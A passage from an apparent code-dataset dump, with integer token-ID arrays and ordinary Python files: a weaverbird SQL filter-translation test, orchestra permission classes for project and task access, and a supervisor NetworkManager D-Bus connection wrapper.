2033,
353,
274,
29888,
29918,
978,
13,
13,
9651,
1897,
29918,
2783,
924,
943,
29889,
4397,
29898,
4409,
19124,
29898,
1068,
19290,
876,
13,
13,
4706,
7272,
1583,
29889,
4645,
29889,
3258,
3562,
29898,
978,
29892,
1897,
29918,
2783,
924,
943,
29897,
13,
4706,
736,
1583,
29889,
2371,
29898,
978,
29892,
671,
29918,
13506,
29922,
8824,
29897,
13,
13,
1678,
7465,
822,
5217,
29918,
2371,
29898,
1311,
29892,
1024,
29901,
3139,
5015,
29892,
11262,
29901,
6120,
353,
7700,
29897,
1599,
6213,
29901,
13,
4706,
9995,
13,
4706,
21267,
278,
6790,
1591,
29889,
13,
13,
4706,
6317,
1873,
23959,
1057,
29871,
29900,
29889,
29945,
13,
965,
421,
20472,
29952,
2980,
13,
13,
4706,
512,
379,
5160,
29892,
263,
1591,
2337,
4225,
304,
367,
12708,
1434,
372,
508,
367,
13,
4706,
11132,
29889,
960,
278,
421,
20472,
29952,
2980,
338,
421,
5574,
1673,
445,
1158,
937,
13,
4706,
766,
1849,
278,
1591,
565,
372,
9007,
29915,
29873,
2307,
322,
769,
7374,
267,
372,
29889,
13,
13,
4706,
584,
3207,
1024,
29901,
450,
1591,
1024,
13,
4706,
584,
3207,
11262,
29901,
26460,
304,
937,
11262,
278,
1591,
565,
4312,
13,
4706,
9995,
13,
4706,
565,
11262,
322,
7272,
1583,
29889,
275,
29918,
2371,
29918,
17590,
29898,
978,
1125,
13,
9651,
7272,
1583,
29889,
20472,
29918,
2371,
29898,
978,
29897,
13,
13,
4706,
7272,
1583,
29889,
4645,
29889,
8143,
3562,
29898,
1311,
3032,
2371,
29918,
978,
29898,
978,
876,
13,
13,
1678,
7465,
822,
9025,
29918,
2371,
29898,
1311,
29892,
1024,
29901,
3139,
5015,
29897,
1599,
6213,
29901,
13,
4706,
9995,
13,
4706,
1174,
519,
278,
6790,
1591,
29889,
13,
13,
4706,
584,
3207,
1024,
29901,
450,
1591,
1024,
13,
4706,
9995,
13,
4706,
7272,
1583,
29889,
4645,
29889,
12007,
3562,
29898,
1311,
3032,
2371,
29918,
978,
29898,
978,
876,
13,
13,
1678,
7465,
822,
11262,
29918,
2371,
29898,
1311,
29892,
1024,
29901,
3139,
5015,
29897,
1599,
6213,
29901,
13,
4706,
9995,
13,
4706,
3295,
519,
278,
6790,
1591,
29889,
13,
13,
4706,
584,
3207,
1024,
29901,
450,
1591,
1024,
13,
4706,
9995,
13,
4706,
7272,
1583,
29889,
4645,
29889,
20472,
3562,
29898,
1311,
3032,
2371,
29918,
978,
29898,
978,
876,
13,
13,
1678,
7465,
822,
338,
29918,
2371,
29918,
17590,
29898,
1311,
29892,
1024,
29901,
3139,
5015,
29897,
1599,
6213,
29901,
13,
4706,
9995,
13,
4706,
7106,
3692,
278,
6790,
1591,
338,
9615,
29889,
13,
13,
4706,
584,
3207,
851,
1024,
29901,
450,
1591,
1024,
13,
13,
4706,
584,
2457,
29901,
3692,
278,
1591,
338,
9615,
13,
4706,
584,
29878,
1853,
29901,
6120,
13,
4706,
9995,
13,
4706,
736,
7272,
1583,
29889,
4645,
29889,
275,
3562,
10861,
29898,
1311,
3032,
2371,
29918,
978,
29898,
978,
876,
13,
13,
1678,
7465,
822,
11071,
29918,
2371,
29898,
1311,
29892,
1024,
29901,
3139,
5015,
29892,
4655,
29901,
6120,
353,
7700,
29897,
1599,
6213,
29901,
13,
4706,
9995,
6843,
627,
278,
6790,
1591,
29889,
13,
13,
4706,
584,
3207,
851,
1024,
29901,
450,
1591,
1024,
13,
4706,
584,
3207,
6120,
4655,
29901,
26460,
304,
2189,
263,
4655,
752,
2467,
29889,
13,
4706,
9995,
13,
4706,
1024,
353,
1583,
3032,
2371,
29918,
978,
29898,
978,
29897,
13,
4706,
565,
4655,
29901,
13,
9651,
7272,
1583,
29889,
4645,
29889,
21355,
6843,
627,
29898,
978,
29897,
13,
4706,
1683,
29901,
13,
9651,
7272,
1583,
29889,
4645,
29889,
2388,
627,
29898,
978,
29897,
13,
13,
1678,
396,
18601,
7465,
3030,
8744,
13,
1678,
7465,
822,
4770,
29874,
5893,
12035,
1311,
29897,
1599,
525,
5350,
2396,
13,
4706,
7272,
1583,
29889,
3150,
580,
13,
4706,
736,
1583,
13,
13,
1678,
7465,
822,
4770,
29874,
13322,
12035,
1311,
29892,
334,
29918,
735,
29883,
29897,
1599,
6213,
29901,
13,
4706,
1583,
29889,
5358,
580,
13,
13,
1678,
396,
18601,
3030,
8744,
13,
1678,
822,
4770,
5893,
12035,
1311,
29897,
1599,
525,
5350,
2396,
13,
4706,
1065,
29918,
2616,
29877,
29898,
1311,
29889,
3150,
3285,
1059,
543,
11403,
525,
12674,
411,
29915,
297,
263,
2734,
1741,
2425,
29991,
1159,
13,
4706,
736,
1583,
13,
13,
1678,
822,
4770,
13322,
12035,
1311,
29892,
334,
29918,
735,
29883,
29897,
1599,
6213,
29901,
13,
4706,
1583,
29889,
5358,
580,
13,
13,
1678,
822,
4770,
6144,
12035,
1311,
29897,
1599,
6213,
29901,
13,
4706,
1018,
29901,
13,
9651,
565,
1583,
29889,
4645,
3032,
666,
5450,
29889,
3286,
29889,
275,
29918,
3150,
7295,
29871,
396,
694,
25621,
13,
18884,
17927,
29889,
27392,
29898,
29888,
29908,
29912,
1311,
29913,
471,
451,
5764,
29991,
1159,
13,
4706,
5174,
29901,
29871,
396,
694,
25621,
13,
9651,
1209,
13,
2
] |
server/tests/steps/sql_translator/test_filter.py | davinov/weaverbird | 54 | 14542 | import pytest
from weaverbird.backends.sql_translator.metadata import SqlQueryMetadataManager
from weaverbird.backends.sql_translator.steps import translate_filter
from weaverbird.backends.sql_translator.types import SQLQuery
from weaverbird.pipeline.conditions import ComparisonCondition
from weaverbird.pipeline.steps import FilterStep
def test_translate_filter(mocker):
step = FilterStep(
name='filter', condition=ComparisonCondition(column='amount', operator='eq', value=10)
)
query = SQLQuery(
query_name='SELECT_STEP_0',
transformed_query='WITH SELECT_STEP_0 AS (SELECT TOTO, TATA FROM products)',
selection_query='SELECT TOTO, TATA FROM SELECT_STEP_0',
metadata_manager=SqlQueryMetadataManager(
tables_metadata={'table1': {'toto': 'text', 'tata': 'int'}},
),
)
mocker.patch(
'weaverbird.backends.sql_translator.steps.utils.query_transformation.apply_condition',
return_value='SELECT TOTO, TATA FROM SELECT_STEP_0 WHERE amount = 10',
)
res = translate_filter(step, query, index=1)
assert (
res.transformed_query
== 'WITH SELECT_STEP_0 AS (SELECT TOTO, TATA FROM products), FILTER_STEP_1 AS (SELECT TOTO, TATA FROM '
'SELECT_STEP_0 WHERE amount = 10)'
)
assert res.selection_query == 'SELECT TOTO, TATA FROM FILTER_STEP_1'
def test_translate_filter_error(mocker):
step = FilterStep(
name='filter', condition=ComparisonCondition(column='amount', operator='eq', value=10)
)
query = SQLQuery(
query_name='SELECT_STEP_0',
transformed_query='WITH SELECT_STEP_0 AS (SELECT * FROM products), SELECT * FROM SELECT_STEP_0',
selection_query='SELECT * FROM SELECT_STEP_0',
metadata_manager=SqlQueryMetadataManager(
tables_metadata={'table1': {'toto': 'text', 'tata': 'int'}},
),
)
mocker.patch(
'weaverbird.backends.sql_translator.steps.filter.apply_condition',
side_effect=NotImplementedError,
)
with pytest.raises(NotImplementedError):
translate_filter(step, query, index=1)
| [
1,
1053,
11451,
1688,
13,
13,
3166,
591,
12483,
18513,
29889,
1627,
1975,
29889,
2850,
29918,
3286,
29880,
1061,
29889,
19635,
1053,
13093,
3010,
18417,
3260,
13,
3166,
591,
12483,
18513,
29889,
1627,
1975,
29889,
2850,
29918,
3286,
29880,
1061,
29889,
24530,
1053,
14240,
29918,
4572,
13,
3166,
591,
12483,
18513,
29889,
1627,
1975,
29889,
2850,
29918,
3286,
29880,
1061,
29889,
8768,
1053,
3758,
3010,
13,
3166,
591,
12483,
18513,
29889,
13096,
5570,
29889,
1116,
2187,
1053,
422,
20941,
25255,
13,
3166,
591,
12483,
18513,
29889,
13096,
5570,
29889,
24530,
1053,
19916,
14448,
13,
13,
13,
1753,
1243,
29918,
21652,
29918,
4572,
29898,
29885,
8658,
1125,
13,
1678,
4331,
353,
19916,
14448,
29898,
13,
4706,
1024,
2433,
4572,
742,
4195,
29922,
1523,
20941,
25255,
29898,
4914,
2433,
14506,
742,
5455,
2433,
1837,
742,
995,
29922,
29896,
29900,
29897,
13,
1678,
1723,
13,
1678,
2346,
353,
3758,
3010,
29898,
13,
4706,
2346,
29918,
978,
2433,
6404,
29918,
1254,
15488,
29918,
29900,
742,
13,
4706,
27615,
29918,
1972,
2433,
29956,
13054,
5097,
29918,
1254,
15488,
29918,
29900,
3339,
313,
6404,
323,
2891,
29949,
29892,
323,
8254,
3895,
9316,
29897,
742,
13,
4706,
9262,
29918,
1972,
2433,
6404,
323,
2891,
29949,
29892,
323,
8254,
3895,
5097,
29918,
1254,
15488,
29918,
29900,
742,
13,
4706,
15562,
29918,
12847,
29922,
10520,
3010,
18417,
3260,
29898,
13,
9651,
6131,
29918,
19635,
3790,
29915,
2371,
29896,
2396,
11117,
29873,
3747,
2396,
525,
726,
742,
525,
29873,
532,
2396,
525,
524,
29915,
11656,
13,
4706,
10353,
13,
1678,
1723,
13,
1678,
286,
8658,
29889,
5041,
29898,
13,
4706,
525,
705,
12483,
18513,
29889,
1627,
1975,
29889,
2850,
29918,
3286,
29880,
1061,
29889,
24530,
29889,
13239,
29889,
1972,
29918,
3286,
5404,
29889,
7302,
29918,
16122,
742,
13,
4706,
736,
29918,
1767,
2433,
6404,
323,
2891,
29949,
29892,
323,
8254,
3895,
5097,
29918,
1254,
15488,
29918,
29900,
5754,
5253,
353,
29871,
29896,
29900,
742,
13,
1678,
1723,
13,
1678,
620,
353,
14240,
29918,
4572,
29898,
10568,
29892,
2346,
29892,
2380,
29922,
29896,
29897,
13,
1678,
4974,
313,
13,
4706,
620,
29889,
9067,
287,
29918,
1972,
13,
4706,
1275,
525,
29956,
13054,
5097,
29918,
1254,
15488,
29918,
29900,
3339,
313,
6404,
323,
2891,
29949,
29892,
323,
8254,
3895,
9316,
511,
383,
6227,
4945,
29918,
1254,
15488,
29918,
29896,
3339,
313,
6404,
323,
2891,
29949,
29892,
323,
8254,
3895,
525,
13,
4706,
525,
6404,
29918,
1254,
15488,
29918,
29900,
5754,
5253,
353,
29871,
29896,
29900,
16029,
13,
1678,
1723,
13,
1678,
4974,
620,
29889,
21731,
29918,
1972,
1275,
525,
6404,
323,
2891,
29949,
29892,
323,
8254,
3895,
383,
6227,
4945,
29918,
1254,
15488,
29918,
29896,
29915,
13,
13,
13,
1753,
1243,
29918,
21652,
29918,
4572,
29918,
2704,
29898,
29885,
8658,
1125,
13,
1678,
4331,
353,
19916,
14448,
29898,
13,
4706,
1024,
2433,
4572,
742,
4195,
29922,
1523,
20941,
25255,
29898,
4914,
2433,
14506,
742,
5455,
2433,
1837,
742,
995,
29922,
29896,
29900,
29897,
13,
1678,
1723,
13,
1678,
2346,
353,
3758,
3010,
29898,
13,
4706,
2346,
29918,
978,
2433,
6404,
29918,
1254,
15488,
29918,
29900,
742,
13,
4706,
27615,
29918,
1972,
2433,
29956,
13054,
5097,
29918,
1254,
15488,
29918,
29900,
3339,
313,
6404,
334,
3895,
9316,
511,
5097,
334,
3895,
5097,
29918,
1254,
15488,
29918,
29900,
742,
13,
4706,
9262,
29918,
1972,
2433,
6404,
334,
3895,
5097,
29918,
1254,
15488,
29918,
29900,
742,
13,
4706,
15562,
29918,
12847,
29922,
10520,
3010,
18417,
3260,
29898,
13,
9651,
6131,
29918,
19635,
3790,
29915,
2371,
29896,
2396,
11117,
29873,
3747,
2396,
525,
726,
742,
525,
29873,
532,
2396,
525,
524,
29915,
11656,
13,
4706,
10353,
13,
1678,
1723,
13,
1678,
286,
8658,
29889,
5041,
29898,
13,
4706,
525,
705,
12483,
18513,
29889,
1627,
1975,
29889,
2850,
29918,
3286,
29880,
1061,
29889,
24530,
29889,
4572,
29889,
7302,
29918,
16122,
742,
13,
4706,
2625,
29918,
15987,
29922,
3664,
1888,
2037,
287,
2392,
29892,
13,
1678,
1723,
13,
1678,
411,
11451,
1688,
29889,
336,
4637,
29898,
3664,
1888,
2037,
287,
2392,
1125,
13,
4706,
14240,
29918,
4572,
29898,
10568,
29892,
2346,
29892,
2380,
29922,
29896,
29897,
13,
2
] |
orchestra/todos/auth.py | code-review-doctor/orchestra | 444 | 106525 | <reponame>code-review-doctor/orchestra
from rest_framework import permissions
from orchestra.models import Worker
from orchestra.models import Todo
from orchestra.models import TodoQA
class IsAssociatedWithTodosProject(permissions.BasePermission):
"""
Ensures that a user's worker is accoiated with the todo's project.
"""
def has_object_permission(self, request, view, obj):
worker = Worker.objects.get(user=request.user)
if isinstance(obj, Todo):
project = obj.project
elif isinstance(obj, TodoQA):
project = obj.todo.project
else:
project = None
return (
project and
(worker.is_project_admin() or
worker.assignments.filter(task__project=project).exists()))
class IsAssociatedWithProject(permissions.BasePermission):
"""
Ensures that a user's worker is associated with the request's
`project`.
"""
def has_permission(self, request, view):
"""
We pass project_id as a payload in cases when the request
is either POST, PUT or PATCH. It can be passed via query param
not only in a GET request, but also in the requests listed above
(when applying a filter).
"""
worker = Worker.objects.get(user=request.user)
if worker.is_project_admin():
return True
todo_id = request.data.get('todo')
if todo_id is None:
todo_id = view.kwargs.get('pk')
project_id = request.data.get(
'project') or request.data.get('project__id')
if project_id is None:
project_id = request.query_params.get(
'project') or request.query_params.get('project__id')
if project_id is None and todo_id is not None:
project_id = Todo.objects.get(id=todo_id).project.id
return worker.assignments.filter(task__project__id=project_id).exists()
class IsAssociatedWithTask(permissions.BasePermission):
"""
Ensures that a user's worker is associated with the request's
`task`.
"""
def has_permission(self, request, view):
worker = Worker.objects.get(user=request.user)
if worker.is_project_admin():
return True
if request.method == 'GET':
task_id = request.query_params.get('task')
return worker.assignments.filter(task=task_id).exists()
return False
| [
1,
529,
276,
1112,
420,
29958,
401,
29899,
27828,
29899,
1867,
2801,
29914,
272,
15554,
13,
3166,
1791,
29918,
4468,
1053,
11239,
13,
13,
3166,
470,
15554,
29889,
9794,
1053,
5244,
261,
13,
3166,
470,
15554,
29889,
9794,
1053,
7561,
29877,
13,
3166,
470,
15554,
29889,
9794,
1053,
7561,
29877,
29984,
29909,
13,
13,
13,
1990,
1317,
29254,
630,
3047,
29911,
24463,
7653,
29898,
17858,
6847,
29889,
5160,
27293,
1125,
13,
1678,
9995,
13,
1678,
22521,
1973,
393,
263,
1404,
29915,
29879,
15645,
338,
1035,
7768,
630,
411,
278,
10481,
29915,
29879,
2060,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
756,
29918,
3318,
29918,
16074,
29898,
1311,
29892,
2009,
29892,
1776,
29892,
5446,
1125,
13,
4706,
15645,
353,
5244,
261,
29889,
12650,
29889,
657,
29898,
1792,
29922,
3827,
29889,
1792,
29897,
13,
4706,
565,
338,
8758,
29898,
5415,
29892,
7561,
29877,
1125,
13,
9651,
2060,
353,
5446,
29889,
4836,
13,
4706,
25342,
338,
8758,
29898,
5415,
29892,
7561,
29877,
29984,
29909,
1125,
13,
9651,
2060,
353,
5446,
29889,
29873,
8144,
29889,
4836,
13,
4706,
1683,
29901,
13,
9651,
2060,
353,
6213,
13,
4706,
736,
313,
13,
9651,
2060,
322,
13,
9651,
313,
24602,
29889,
275,
29918,
4836,
29918,
6406,
580,
470,
13,
632,
15645,
29889,
16645,
1860,
29889,
4572,
29898,
7662,
1649,
4836,
29922,
4836,
467,
9933,
22130,
13,
13,
13,
1990,
1317,
29254,
630,
3047,
7653,
29898,
17858,
6847,
29889,
5160,
27293,
1125,
13,
1678,
9995,
13,
1678,
22521,
1973,
393,
263,
1404,
29915,
29879,
15645,
338,
6942,
411,
278,
2009,
29915,
29879,
13,
1678,
421,
4836,
1412,
13,
13,
1678,
9995,
13,
13,
1678,
822,
756,
29918,
16074,
29898,
1311,
29892,
2009,
29892,
1776,
1125,
13,
4706,
9995,
13,
4706,
1334,
1209,
2060,
29918,
333,
408,
263,
20092,
297,
4251,
746,
278,
2009,
13,
4706,
338,
2845,
11971,
29892,
349,
2692,
470,
349,
14789,
29889,
739,
508,
367,
4502,
3025,
2346,
1828,
13,
4706,
451,
871,
297,
263,
12354,
2009,
29892,
541,
884,
297,
278,
7274,
9904,
2038,
13,
4706,
313,
8256,
15399,
263,
4175,
467,
13,
4706,
9995,
13,
4706,
15645,
353,
5244,
261,
29889,
12650,
29889,
657,
29898,
1792,
29922,
3827,
29889,
1792,
29897,
13,
4706,
565,
15645,
29889,
275,
29918,
4836,
29918,
6406,
7295,
13,
9651,
736,
5852,
13,
4706,
10481,
29918,
333,
353,
2009,
29889,
1272,
29889,
657,
877,
29873,
8144,
1495,
13,
4706,
565,
10481,
29918,
333,
338,
6213,
29901,
13,
9651,
10481,
29918,
333,
353,
1776,
29889,
19290,
29889,
657,
877,
20571,
1495,
13,
4706,
2060,
29918,
333,
353,
2009,
29889,
1272,
29889,
657,
29898,
13,
9651,
525,
4836,
1495,
470,
2009,
29889,
1272,
29889,
657,
877,
4836,
1649,
333,
1495,
13,
4706,
565,
2060,
29918,
333,
338,
6213,
29901,
13,
9651,
2060,
29918,
333,
353,
2009,
29889,
1972,
29918,
7529,
29889,
657,
29898,
13,
18884,
525,
4836,
1495,
470,
2009,
29889,
1972,
29918,
7529,
29889,
657,
877,
4836,
1649,
333,
1495,
13,
4706,
565,
2060,
29918,
333,
338,
6213,
322,
10481,
29918,
333,
338,
451,
6213,
29901,
13,
9651,
2060,
29918,
333,
353,
7561,
29877,
29889,
12650,
29889,
657,
29898,
333,
29922,
29873,
8144,
29918,
333,
467,
4836,
29889,
333,
13,
4706,
736,
15645,
29889,
16645,
1860,
29889,
4572,
29898,
7662,
1649,
4836,
1649,
333,
29922,
4836,
29918,
333,
467,
9933,
580,
13,
13,
13,
1990,
1317,
29254,
630,
3047,
5398,
29898,
17858,
6847,
29889,
5160,
27293,
1125,
13,
1678,
9995,
13,
1678,
22521,
1973,
393,
263,
1404,
29915,
29879,
15645,
338,
6942,
411,
278,
2009,
29915,
29879,
13,
1678,
421,
7662,
1412,
13,
13,
1678,
9995,
13,
13,
1678,
822,
756,
29918,
16074,
29898,
1311,
29892,
2009,
29892,
1776,
1125,
13,
4706,
15645,
353,
5244,
261,
29889,
12650,
29889,
657,
29898,
1792,
29922,
3827,
29889,
1792,
29897,
13,
4706,
565,
15645,
29889,
275,
29918,
4836,
29918,
6406,
7295,
13,
9651,
736,
5852,
13,
4706,
565,
2009,
29889,
5696,
1275,
525,
7194,
2396,
13,
9651,
3414,
29918,
333,
353,
2009,
29889,
1972,
29918,
7529,
29889,
657,
877,
7662,
1495,
13,
9651,
736,
15645,
29889,
16645,
1860,
29889,
4572,
29898,
7662,
29922,
7662,
29918,
333,
467,
9933,
580,
13,
4706,
736,
7700,
13,
2
] |
supervisor/dbus/network/connection.py | peddamat/home-assistant-supervisor-test | 1 | 12851 | """Connection object for Network Manager."""
from ipaddress import ip_address, ip_interface
from typing import Optional
from ...const import ATTR_ADDRESS, ATTR_PREFIX
from ...utils.gdbus import DBus
from ..const import (
DBUS_ATTR_ADDRESS_DATA,
DBUS_ATTR_CONNECTION,
DBUS_ATTR_GATEWAY,
DBUS_ATTR_ID,
DBUS_ATTR_IP4CONFIG,
DBUS_ATTR_IP6CONFIG,
DBUS_ATTR_NAMESERVER_DATA,
DBUS_ATTR_NAMESERVERS,
DBUS_ATTR_STATE,
DBUS_ATTR_TYPE,
DBUS_ATTR_UUID,
DBUS_NAME_CONNECTION_ACTIVE,
DBUS_NAME_IP4CONFIG,
DBUS_NAME_IP6CONFIG,
DBUS_NAME_NM,
DBUS_OBJECT_BASE,
)
from ..interface import DBusInterfaceProxy
from .configuration import IpConfiguration
class NetworkConnection(DBusInterfaceProxy):
"""NetworkConnection object for Network Manager."""
def __init__(self, object_path: str) -> None:
"""Initialize NetworkConnection object."""
self.object_path = object_path
self.properties = {}
self._ipv4: Optional[IpConfiguration] = None
self._ipv6: Optional[IpConfiguration] = None
@property
def id(self) -> str:
"""Return the id of the connection."""
return self.properties[DBUS_ATTR_ID]
@property
def type(self) -> str:
"""Return the type of the connection."""
return self.properties[DBUS_ATTR_TYPE]
@property
def uuid(self) -> str:
"""Return the uuid of the connection."""
return self.properties[DBUS_ATTR_UUID]
@property
def state(self) -> int:
"""Return the state of the connection."""
return self.properties[DBUS_ATTR_STATE]
@property
def setting_object(self) -> int:
"""Return the connection object path."""
return self.properties[DBUS_ATTR_CONNECTION]
@property
def ipv4(self) -> Optional[IpConfiguration]:
"""Return a ip4 configuration object for the connection."""
return self._ipv4
@property
def ipv6(self) -> Optional[IpConfiguration]:
"""Return a ip6 configuration object for the connection."""
return self._ipv6
async def connect(self) -> None:
"""Get connection information."""
self.dbus = await DBus.connect(DBUS_NAME_NM, self.object_path)
self.properties = await self.dbus.get_properties(DBUS_NAME_CONNECTION_ACTIVE)
# IPv4
if self.properties[DBUS_ATTR_IP4CONFIG] != DBUS_OBJECT_BASE:
ip4 = await DBus.connect(DBUS_NAME_NM, self.properties[DBUS_ATTR_IP4CONFIG])
ip4_data = await ip4.get_properties(DBUS_NAME_IP4CONFIG)
self._ipv4 = IpConfiguration(
ip_address(ip4_data[DBUS_ATTR_GATEWAY])
if ip4_data.get(DBUS_ATTR_GATEWAY)
else None,
[
ip_address(nameserver[ATTR_ADDRESS])
for nameserver in ip4_data.get(DBUS_ATTR_NAMESERVER_DATA, [])
],
[
ip_interface(f"{address[ATTR_ADDRESS]}/{address[ATTR_PREFIX]}")
for address in ip4_data.get(DBUS_ATTR_ADDRESS_DATA, [])
],
)
# IPv6
if self.properties[DBUS_ATTR_IP6CONFIG] != DBUS_OBJECT_BASE:
ip6 = await DBus.connect(DBUS_NAME_NM, self.properties[DBUS_ATTR_IP6CONFIG])
ip6_data = await ip6.get_properties(DBUS_NAME_IP6CONFIG)
self._ipv6 = IpConfiguration(
ip_address(ip6_data[DBUS_ATTR_GATEWAY])
if ip6_data.get(DBUS_ATTR_GATEWAY)
else None,
[
ip_address(bytes(nameserver))
for nameserver in ip6_data.get(DBUS_ATTR_NAMESERVERS)
],
[
ip_interface(f"{address[ATTR_ADDRESS]}/{address[ATTR_PREFIX]}")
for address in ip6_data.get(DBUS_ATTR_ADDRESS_DATA, [])
],
)
| [
1,
9995,
5350,
1203,
363,
8527,
15629,
1213,
15945,
13,
3166,
10377,
7328,
1053,
10377,
29918,
7328,
29892,
10377,
29918,
13248,
13,
3166,
19229,
1053,
28379,
13,
13,
3166,
2023,
3075,
1053,
15531,
5659,
29918,
17744,
26785,
29892,
15531,
5659,
29918,
15094,
25634,
13,
3166,
2023,
13239,
29889,
29887,
2585,
375,
1053,
6535,
375,
13,
3166,
6317,
3075,
1053,
313,
13,
1678,
6535,
3308,
29918,
1299,
5659,
29918,
17744,
26785,
29918,
14573,
29892,
13,
1678,
6535,
3308,
29918,
1299,
5659,
29918,
6007,
8186,
9838,
29892,
13,
1678,
6535,
3308,
29918,
1299,
5659,
29918,
29954,
3040,
12982,
29979,
29892,
13,
1678,
6535,
3308,
29918,
1299,
5659,
29918,
1367,
29892,
13,
1678,
6535,
3308,
29918,
1299,
5659,
29918,
5690,
29946,
25903,
29892,
13,
1678,
6535,
3308,
29918,
1299,
5659,
29918,
5690,
29953,
25903,
29892,
13,
1678,
6535,
3308,
29918,
1299,
5659,
29918,
5813,
18603,
29918,
14573,
29892,
13,
1678,
6535,
3308,
29918,
1299,
5659,
29918,
5813,
18603,
29903,
29892,
13,
1678,
6535,
3308,
29918,
1299,
5659,
29918,
19713,
29892,
13,
1678,
6535,
3308,
29918,
1299,
5659,
29918,
11116,
29892,
13,
1678,
6535,
3308,
29918,
1299,
5659,
29918,
29965,
11150,
29892,
13,
1678,
6535,
3308,
29918,
5813,
29918,
6007,
8186,
9838,
29918,
17923,
18474,
29892,
13,
1678,
6535,
3308,
29918,
5813,
29918,
5690,
29946,
25903,
29892,
13,
1678,
6535,
3308,
29918,
5813,
29918,
5690,
29953,
25903,
29892,
13,
1678,
6535,
3308,
29918,
5813,
29918,
29940,
29924,
29892,
13,
1678,
6535,
3308,
29918,
14824,
17637,
29918,
25416,
29892,
13,
29897,
13,
3166,
6317,
13248,
1053,
6535,
375,
10448,
14048,
13,
3166,
869,
13305,
1053,
306,
29886,
8614,
13,
13,
13,
1990,
8527,
5350,
29898,
4051,
375,
10448,
14048,
1125,
13,
1678,
9995,
13724,
5350,
1203,
363,
8527,
15629,
1213,
15945,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1203,
29918,
2084,
29901,
851,
29897,
1599,
6213,
29901,
13,
4706,
9995,
6644,
6646,
8527,
5350,
1203,
1213,
15945,
13,
4706,
1583,
29889,
3318,
29918,
2084,
353,
1203,
29918,
2084,
13,
4706,
1583,
29889,
11330,
353,
6571,
13,
13,
4706,
1583,
3032,
666,
29894,
29946,
29901,
28379,
29961,
29902,
29886,
8614,
29962,
353,
6213,
13,
4706,
1583,
3032,
666,
29894,
29953,
29901,
28379,
29961,
29902,
29886,
8614,
29962,
353,
6213,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1178,
29898,
1311,
29897,
1599,
851,
29901,
13,
4706,
9995,
11609,
278,
1178,
310,
278,
3957,
1213,
15945,
13,
4706,
736,
1583,
29889,
11330,
29961,
4051,
3308,
29918,
1299,
5659,
29918,
1367,
29962,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1134,
29898,
1311,
29897,
1599,
851,
29901,
13,
4706,
9995,
11609,
278,
1134,
310,
278,
3957,
1213,
15945,
13,
4706,
736,
1583,
29889,
11330,
29961,
4051,
3308,
29918,
1299,
5659,
29918,
11116,
29962,
13,
13,
1678,
732,
6799,
13,
1678,
822,
318,
5416,
29898,
1311,
29897,
1599,
851,
29901,
13,
4706,
9995,
11609,
278,
318,
5416,
310,
278,
3957,
1213,
15945,
13,
4706,
736,
1583,
29889,
11330,
29961,
4051,
3308,
29918,
1299,
5659,
29918,
29965,
11150,
29962,
13,
13,
1678,
732,
6799,
13,
1678,
822,
2106,
29898,
1311,
29897,
1599,
938,
29901,
13,
4706,
9995,
11609,
278,
2106,
310,
278,
3957,
1213,
15945,
13,
4706,
736,
1583,
29889,
11330,
29961,
4051,
3308,
29918,
1299,
5659,
29918,
19713,
29962,
13,
13,
1678,
732,
6799,
13,
1678,
822,
4444,
29918,
3318,
29898,
1311,
29897,
1599,
938,
29901,
13,
4706,
9995,
11609,
278,
3957,
1203,
2224,
1213,
15945,
13,
4706,
736,
1583,
29889,
11330,
29961,
4051,
3308,
29918,
1299,
5659,
29918,
6007,
8186,
9838,
29962,
13,
13,
1678,
732,
6799,
13,
1678,
822,
10377,
29894,
29946,
29898,
1311,
29897,
1599,
28379,
29961,
29902,
29886,
8614,
5387,
13,
4706,
9995,
11609,
263,
10377,
29946,
5285,
1203,
363,
278,
3957,
1213,
15945,
13,
4706,
736,
1583,
3032,
666,
29894,
29946,
13,
13,
1678,
732,
6799,
13,
1678,
822,
10377,
29894,
29953,
29898,
1311,
29897,
1599,
28379,
29961,
29902,
29886,
8614,
5387,
13,
4706,
9995,
11609,
263,
10377,
29953,
5285,
1203,
363,
278,
3957,
1213,
15945,
13,
4706,
736,
1583,
3032,
666,
29894,
29953,
13,
13,
1678,
7465,
822,
4511,
29898,
1311,
29897,
1599,
6213,
29901,
13,
4706,
9995,
2577,
3957,
2472,
1213,
15945,
13,
4706,
1583,
29889,
2585,
375,
353,
7272,
6535,
375,
29889,
6915,
29898,
4051,
3308,
29918,
5813,
29918,
29940,
29924,
29892,
1583,
29889,
3318,
29918,
2084,
29897,
13,
4706,
1583,
29889,
11330,
353,
7272,
1583,
29889,
2585,
375,
29889,
657,
29918,
11330,
29898,
4051,
3308,
29918,
5813,
29918,
6007,
8186,
9838,
29918,
17923,
18474,
29897,
13,
13,
4706,
396,
5641,
29894,
29946,
13,
4706,
565,
1583,
29889,
11330,
29961,
4051,
3308,
29918,
1299,
5659,
29918,
5690,
29946,
25903,
29962,
2804,
6535,
3308,
29918,
14824,
17637,
29918,
25416,
29901,
13,
9651,
10377,
29946,
353,
7272,
6535,
375,
29889,
6915,
29898,
4051,
3308,
29918,
5813,
29918,
29940,
29924,
29892,
1583,
29889,
11330,
29961,
4051,
3308,
29918,
1299,
5659,
29918,
5690,
29946,
25903,
2314,
13,
9651,
10377,
29946,
29918,
1272,
353,
7272,
10377,
29946,
29889,
657,
29918,
11330,
29898,
4051,
3308,
29918,
5813,
29918,
5690,
29946,
25903,
29897,
13,
13,
9651,
1583,
3032,
666,
29894,
29946,
353,
306,
29886,
8614,
29898,
13,
18884,
10377,
29918,
7328,
29898,
666,
29946,
29918,
1272,
29961,
4051,
3308,
29918,
1299,
5659,
29918,
29954,
3040,
12982,
29979,
2314,
13,
18884,
565,
10377,
29946,
29918,
1272,
29889,
657,
29898,
4051,
3308,
29918,
1299,
5659,
29918,
29954,
3040,
12982,
29979,
29897,
13,
18884,
1683,
6213,
29892,
13,
18884,
518,
13,
462,
1678,
10377,
29918,
7328,
29898,
7039,
261,
369,
29961,
1299,
5659,
29918,
17744,
26785,
2314,
13,
462,
1678,
363,
2983,
261,
369,
297,
10377,
29946,
29918,
1272,
29889,
657,
29898,
4051,
3308,
29918,
1299,
5659,
29918,
5813,
18603,
29918,
14573,
29892,
518,
2314,
13,
18884,
21251,
13,
18884,
518,
13,
462,
1678,
10377,
29918,
13248,
29898,
29888,
29908,
29912,
7328,
29961,
1299,
5659,
29918,
17744,
26785,
29962,
6822,
29912,
7328,
29961,
1299,
5659,
29918,
15094,
25634,
12258,
1159,
13,
462,
1678,
